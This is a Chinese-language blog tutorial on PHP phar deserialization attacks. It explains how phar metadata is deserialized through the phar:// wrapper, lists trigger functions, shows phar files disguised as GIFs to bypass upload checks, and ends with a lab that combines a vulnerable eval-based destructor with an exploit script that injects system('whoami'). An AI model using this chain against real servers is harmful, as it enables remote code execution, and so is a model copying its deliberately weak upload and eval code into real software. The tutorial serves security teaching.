返回
Featured image of post PHP 反序列化-2

PHP 反序列化-2

go!

PHP反序列化-2

Phar

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在phar manifest 。其中会以序列化的形式存储用户自定义的meta-data

Phar使用示例

手动构建phar文件,需要配置php.ini中phar.readonly选项设置为Off,否则无法生成phar文件。

<?php
class Test {
} // 临时的类,用来生成对象即可

$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o->data = 'haha';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "testHAHA"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行该PHP文件,生成test.phar文件,打开观察meta-data是否被序列化:

确实存在序列化,以file_get_contents()函数为例,观察在解析phar文件时得反序列化结果:

<?php
class Test {
    function __destruct()
    {
        echo $this -> data;
    }
}
file_get_contents('phar://test.phar/test.txt');
?>

那么还有哪些函数在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化呢?

参考:https://blog.zsxsoft.com/post/38

总结出:除了下列常见文件系统函数,凡是在实现过程中直接或间接调用了php_stream_open_wrapper,都可能触发phar反序列化漏洞。

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents /file_put_contents readfile / fopen
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

将phar文件进行伪造

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

<?php
    class Test {
    }
    $phar = new Phar('img.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','testHAHA');  //添加要压缩的文件
    $object = new Test();
    $object -> data = 'haha';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

修改后缀名可以继续反序列化,同时该文件在上传时一般可绕过上传检测。

Phar反序列化漏洞利用

条件

  • phar文件要能够上传到服务器端
  • 要有可用的魔术方法作为“跳板”
  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

示例

index.html:

<!DOCTYPE html>
<html>
<head>
	<title>upload file</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php:

// 仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>
    

evil.php:

// file_exists函数会触发phar反序列化
<?php
class Test{
    var $data = 'echo "Hello World";';
    function __destruct()
    {
        eval($this -> data);
    }
}
if ($_GET["file"]){
	file_exists($_GET["file"]);
}

利用:

<?php
    class Test {
    }
    $phar = new Phar('img.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','testHAHA');  //添加要压缩的文件
    $object = new Test();
    $object -> data = "system('whoami')";
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy